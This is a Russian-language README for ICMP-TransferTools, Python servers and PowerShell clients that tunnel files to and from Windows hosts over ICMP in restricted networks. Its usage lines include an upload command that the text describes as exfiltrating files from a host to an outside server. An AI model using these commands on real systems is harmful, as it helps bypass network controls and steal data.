
Передача файлов на Windows-хост и с него через ICMP в ограниченных сетевых средах.
ICMP-TransferTools — это набор скриптов, предназначенных для перемещения файлов на Windows-хосты и с них в ограниченных сетевых средах. Это реализуется с помощью 4 различных файлов, включающих python-сервер и powershell-клиент для каждого направления передачи (загрузка и выгрузка).
Единственная необходимая зависимость — Impacket для одного из python-скриптов. Его можно установить через pip следующим образом:
pip3 install impacket
Входящие скрипты ICMP-SendFile.py и Invoke-IcmpDownload.ps1 могут использоваться для загрузки файла на Windows-хост через ICMP.
Сначала необходимо запустить python-сервер, чтобы подготовить файл для загрузки. Использование скрипта приведено ниже:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
После импорта powershell-клиент можно использовать для загрузки подготовленного файла следующим образом:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
Ниже приведена быстрая демонстрация:

Входящие скрипты ICMP-ReceiveFile.py и Invoke-IcmpUpload.ps1 могут использоваться для загрузки/экcфильтрации файла с Windows-хоста через ICMP.
Сначала необходимо запустить python-сервер, чтобы убедиться, что он готов принимать запросы от клиента. Использование скрипта приведено ниже:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
После импорта powershell-клиент можно использовать для выгрузки нужного файла следующим образом:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Ниже приведена быстрая демонстрация:
